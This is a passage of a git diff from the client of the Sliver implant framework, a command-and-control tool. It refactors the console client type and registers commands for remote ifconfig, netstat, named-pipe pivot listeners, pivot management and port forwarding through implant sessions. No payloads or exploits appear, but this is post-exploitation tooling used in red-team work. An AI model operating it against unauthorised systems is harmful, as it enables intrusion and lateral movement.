*cobra.Command, con *console.SliverConsoleClient, args }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", mtls.JobID) } diff --git a/client/command/network/commands.go b/client/command/network/commands.go new file mode 100644 index 0000000000..137e5f68c5 --- /dev/null +++ b/client/command/network/commands.go @@ -0,0 +1,49 @@ +package network + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + ifconfigCmd := &cobra.Command{ + Use: consts.IfconfigStr, + Short: "View network interface configurations", + Long: help.GetHelpFor([]string{consts.IfconfigStr}), + Run: func(cmd *cobra.Command, args []string) { + IfconfigCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, ifconfigCmd, func(f *pflag.FlagSet) { + f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + netstatCmd := &cobra.Command{ + Use: consts.NetstatStr, + Short: "Print network connection information", + Long: help.GetHelpFor([]string{consts.NetstatStr}), + Run: func(cmd *cobra.Command, args []string) { + NetstatCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, netstatCmd, func(f *pflag.FlagSet) { + f.BoolP("tcp", "T", true, "display information about TCP sockets") + f.BoolP("udp", "u", false, "display information about UDP sockets") + f.BoolP("ip4", "4", true, "display information about IPv4 sockets") + f.BoolP("ip6", "6", false, "display information about IPv6 sockets") + f.BoolP("listen", "l", false, "display information about listening sockets") + f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{ifconfigCmd, netstatCmd} +} diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index 529b17d314..238582c0d6 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// IfconfigCmd - Display network interfaces on the remote system -func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// IfconfigCmd - Display network interfaces on the remote system. +func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -45,12 +45,12 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } all, _ := cmd.Flags().GetBool("all") if ifconfig.Response != nil && ifconfig.Response.Async { - con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ifconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ifconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -58,14 +58,13 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintIfconfig(ifconfig, all, con) }) - con.PrintAsyncResponse(ifconfig.Response) } else { PrintIfconfig(ifconfig, all, con) } } -// PrintIfconfig - Print the ifconfig response -func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) { +// PrintIfconfig - Print the ifconfig response. +func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverClient) { var err error interfaces := ifconfig.NetInterfaces sort.Slice(interfaces, func(i, j int) bool { @@ -75,6 +74,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCon for index, iface := range interfaces { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name)) tw.SetColumnConfigs([]table.ColumnConfig{ {Name: "#", AutoMerge: true}, diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index e576c6e543..375806a50f 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// NetstatCmd - Display active network connections on the remote system -func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// NetstatCmd - Display active network connections on the remote system. +func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,11 +59,11 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str IP6: ip6, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if netstat.Response != nil && netstat.Response.Async { - con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(netstat.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, netstat) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -71,13 +71,12 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintNetstat(netstat, implantPID, activeC2, numeric, con) }) - con.PrintAsyncResponse(netstat.Response) } else { PrintNetstat(netstat, implantPID, activeC2, numeric, con) } } -func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) { +func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverClient) { lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string { addr := skaddr.Ip names, err := net.LookupAddr(addr) @@ -89,6 +88,7 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"}) for _, entry := range netstat.Entries { diff --git a/client/command/operators/README.md b/client/command/operators/README.md deleted file mode 100644 index cb946e2b47..0000000000 --- a/client/command/operators/README.md +++ /dev/null @@ -1,6 +0,0 @@ -Operators -========== - -Operator related command implementations. - -__NOTE:__ Some operator-related commands are server-side only and are located instead in `server/console` diff --git a/client/command/operators/operators.go b/client/command/operators/operators.go deleted file mode 100644 index 792d227ca9..0000000000 --- a/client/command/operators/operators.go +++ /dev/null @@ -1,67 +0,0 @@ -package operators - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" -) - -// OperatorsCmd - Display operators and current online status -func OperatorsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", err) - } else if 0 < len(operators.Operators) { - displayOperators(operators.Operators, con) - } else { - con.PrintInfof("No remote operators connected\n") - } -} - -func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) { - tw := table.NewWriter() - tw.SetStyle(settings.GetTableStyle(con)) - tw.AppendHeader(table.Row{ - "Name", - "Status", - }) - for _, operator := range operators { - tw.AppendRow(table.Row{ - console.Bold + operator.Name + console.Normal, - status(operator.Online), - }) - } - con.Printf("%s\n", tw.Render()) -} - -func status(isOnline bool) string { - if isOnline { - return console.Bold + console.Green + "Online" + console.Normal - } - return console.Bold + console.Red + "Offline" + console.Normal -} diff --git a/client/command/pipe/commands.go b/client/command/pipe/commands.go new file mode 100644 index 0000000000..69c3db3a67 --- /dev/null +++ b/client/command/pipe/commands.go @@ -0,0 +1,55 @@ +package pipe + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `named-pipe` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + namedPipeCmd := &cobra.Command{ + Use: consts.NamedPipeStr, + Short: "Named pipe handlers management", + } + + listenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start a named pipe pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + namedPipeCmd.AddCommand(listenCmd) + + flags.Bind("", false, listenCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") + f.BoolP("allow-all", "a", false, "allow all users to connect") + }) + + return []*cobra.Command{namedPipeCmd} +} diff --git a/client/command/pipe/listen.go b/client/command/pipe/listen.go new file mode 100644 index 0000000000..caa757c2f5 --- /dev/null +++ b/client/command/pipe/listen.go @@ -0,0 +1,56 @@ +package pipe + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" +) + +// ListenCmd - Start a TCP pivot listener on the remote system. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + allowAll, _ := cmd.Flags().GetBool("allow-all") + bind, _ := cmd.Flags().GetString("bind") + + var options []bool + options = append(options, allowAll) + listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ + Type: sliverpb.PivotType_NamedPipe, + BindAddress: bind, + Request: con.ActiveTarget.Request(cmd), + Options: options, + }) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if listener.Response != nil && listener.Response.Err != "" { + con.PrintErrorf("%s\n", listener.Response.Err) + return + } + con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) +} diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go new file mode 100644 index 0000000000..f00f0eb3e2 --- /dev/null +++ b/client/command/pivots/commands.go @@ -0,0 +1,68 @@ +package pivots + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + pivotsCmd := &cobra.Command{ + Use: consts.PivotsStr, + Short: "List pivots for active session", + Long: help.GetHelpFor([]string{consts.PivotsStr}), + Run: func(cmd *cobra.Command, args []string) { + PivotsCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", true, pivotsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + pivotStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a pivot listener", + Args: cobra.ExactArgs(1), + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + StopPivotListenerCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotStopCmd) + + stopComs := completers.NewCompsFor(pivotStopCmd) + stopComs.PositionalCompletion(PivotIDCompleter(con).Usage("id of the pivot listener to stop")) + + pivotDetailsCmd := &cobra.Command{ + Use: consts.DetailsStr, + Short: "Get details of a pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PivotDetailsCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotDetailsCmd) + + detailsComps := completers.NewCompsFor(pivotDetailsCmd) + detailsComps.PositionalCompletion(PivotIDCompleter(con).Usage("ID of the pivot listener to get details for")) + + graphCmd := &cobra.Command{ + Use: consts.GraphStr, + Short: "Get pivot listeners graph", + Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), + Run: func(cmd *cobra.Command, args []string) { + PivotsGraphCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(graphCmd) + + return []*cobra.Command{pivotsCmd} +} diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index db21e9dde2..6808f3b925 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -21,6 +21,7 @@ package pivots import ( "context" "fmt" + "strconv" "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" @@ -30,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PivotDetailsCmd - Display pivots for all sessions -func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotDetailsCmd - Display pivots for all sessions. +func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -40,7 +41,7 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { @@ -48,19 +49,24 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con) if err != nil { con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } found := false for _, listener := range pivotListeners.Listeners { - if listener.ID == id { + if listener.ID == uint32(id) { PrintPivotListenerDetails(listener, con) found = true } @@ -70,8 +76,8 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// PrintPivotListenerDetails - Print details of a single pivot listener -func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) { +// PrintPivotListenerDetails - Print details of a single pivot listener. +func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverClient) { con.Printf("\n") con.Printf(" ID: %d\n", listener.ID) con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type)) @@ -83,6 +89,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type))) tw.AppendSeparator() + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 0c8ad0f3ce..e00e6cc495 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -29,11 +29,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// PivotsGraphCmd - Display pivots for all sessions -func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotsGraphCmd - Display pivots for all sessions. +func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index b83f27a9b2..240a65bfa7 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SelectPivotListener - Interactive menu to select a pivot listener -func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) { +// SelectPivotListener - Interactive menu to select a pivot listener. +func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverClient) (*sliverpb.PivotListener, error) { // Render selection table buf := bytes.NewBufferString("") table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) @@ -67,15 +67,19 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive } // PivotIDCompleter completes pivot listeners' IDs. -func PivotIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get remote pivots: %s", err.Error()) + return carapace.ActionMessage("failed to get remote pivots: %s", con.UnwrapServerErr(err)) } for _, listener := range pivotListeners.Listeners { diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index a883bdbdab..c8eae4a12b 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PivotsCmd - Display pivots for all sessions -func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotsCmd - Display pivots for all sessions. +func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -39,7 +39,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { @@ -54,10 +54,11 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// PrintPivotListeners - Print a table of pivot listeners -func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) { +// PrintPivotListeners - Print a table of pivot listeners. +func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Protocol", @@ -75,7 +76,7 @@ func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console. con.Printf("%s\n", tw.Render()) } -// PivotTypeToString - Convert a pivot type to a human string +// PivotTypeToString - Convert a pivot type to a human string. func PivotTypeToString(pivotType sliverpb.PivotType) string { switch pivotType { case sliverpb.PivotType_TCP: diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 39caac33ab..356de26ce0 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -20,6 +20,7 @@ package pivots import ( "context" + "strconv" "github.com/spf13/cobra" @@ -27,20 +28,25 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StopPivotListenerCmd - Start a TCP pivot listener on the remote system -func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StopPivotListenerCmd - Start a TCP pivot listener on the remote system. +func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(pivotListeners.Listeners) == 0 { @@ -52,14 +58,14 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } - _, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ - ID: id, + _, err = con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ + ID: uint32(id), Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped pivot listener\n") diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go new file mode 100644 index 0000000000..d3c840bfd0 --- /dev/null +++ b/client/command/portfwd/commands.go @@ -0,0 +1,64 @@ +package portfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + portfwdCmd := &cobra.Command{ + Use: consts.PortfwdStr, + Short: "In-band TCP port forwarding", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + PortfwdCmd(cmd, con, args) + }, + } + flags.Bind("", true, portfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + addCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Create a new port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PortfwdAddCmd(cmd, con, args) + }, + } + portfwdCmd.AddCommand(addCmd) + flags.Bind("", false, addCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") + }) + completers.NewFlagCompsFor(addCmd, func(comp *carapace.ActionMap) { + (*comp)["bind"] = completers.ClientInterfacesCompleter() + }) + + portfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PortfwdRmCmd(cmd, con, args) + }, + } + + rmComps := completers.NewCompsFor(portfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + + portfwdCmd.AddCommand(portfwdRmCmd) + + return []*cobra.Command{portfwdCmd} +} diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 36559441df..422fd6164c 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -34,8 +34,8 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// PortfwdAddCmd - Add a new tunneled port forward -func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PortfwdAddCmd - Add a new tunneled port forward. +func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -89,4 +89,6 @@ func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] }() con.PrintInfof("Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort) + + con.WaitSignal() } diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index ebcc5f5bda..188e69127b 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -19,23 +19,31 @@ package portfwd */ import ( + "strconv" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" ) -// PortfwdRmCmd - Remove an existing tunneled port forward -func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - portfwdID, _ := cmd.Flags().GetInt("id") - if portfwdID < 1 { - con.PrintErrorf("Must specify a valid portfwd id\n") - return - } - found := core.Portfwds.Remove(portfwdID) - if !found { - con.PrintErrorf("No portfwd with id %d\n", portfwdID) - } else { - con.PrintInfof("Removed portfwd\n") +// PortfwdRmCmd - Remove an existing tunneled port forward. +func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, arg := range args { + portfwdID, err := strconv.Atoi(arg) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + if portfwdID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + found := core.Portfwds.Remove(portfwdID) + if !found { + con.PrintErrorf("No portfwd with id %d\n", portfwdID) + } else { + con.PrintInfof("Removed portfwd\n") + } } } diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 82c667168b..b06c8a86d7 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -32,24 +32,25 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// PortfwdCmd - Display information about tunneled port forward(s) -func PortfwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PortfwdCmd - Display information about tunneled port forward(s). +func PortfwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintPortfwd(con) } -// PrintPortfwd - Print the port forward(s) -func PrintPortfwd(con *console.SliverConsoleClient) { +// PrintPortfwd - Print the port forward(s). +func PrintPortfwd(con *console.SliverClient) { portfwds := core.Portfwds.List() if len(portfwds) == 0 { con.PrintInfof("No port forwards\n") return } - sort.Slice(portfwds[:], func(i, j int) bool { + sort.Slice(portfwds, func(i, j int) bool { return portfwds[i].ID < portfwds[j].ID }) tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", @@ -67,9 +68,9 @@ func PrintPortfwd(con *console.SliverConsoleClient) { con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of local portforwarders -func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// PortfwdIDCompleter completes IDs of local portforwarders. +func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) portfwds := core.Portfwds.List() @@ -78,15 +79,23 @@ func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { } for _, fwd := range portfwds { + results = append(results, strconv.Itoa(int(fwd.ID))) - results = append(results, fmt.Sprintf("%s (%s)", fwd.BindAddr, fwd.SessionID)) + results = append(results, fmt.Sprintf("%s (%s) %s -> %s", + fwd.BindAddr, + fwd.SessionID[:8], + fwd.BindAddr, + fwd.RemoteAddr, + )) } if len(results) == 0 { return carapace.ActionMessage("no local port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("local port forwarders") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go new file mode 100644 index 0000000000..f152788fdf --- /dev/null +++ b/client/command/prelude-operator/commands.go @@ -0,0 +1,45 @@ +package operator + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + operatorCmd := 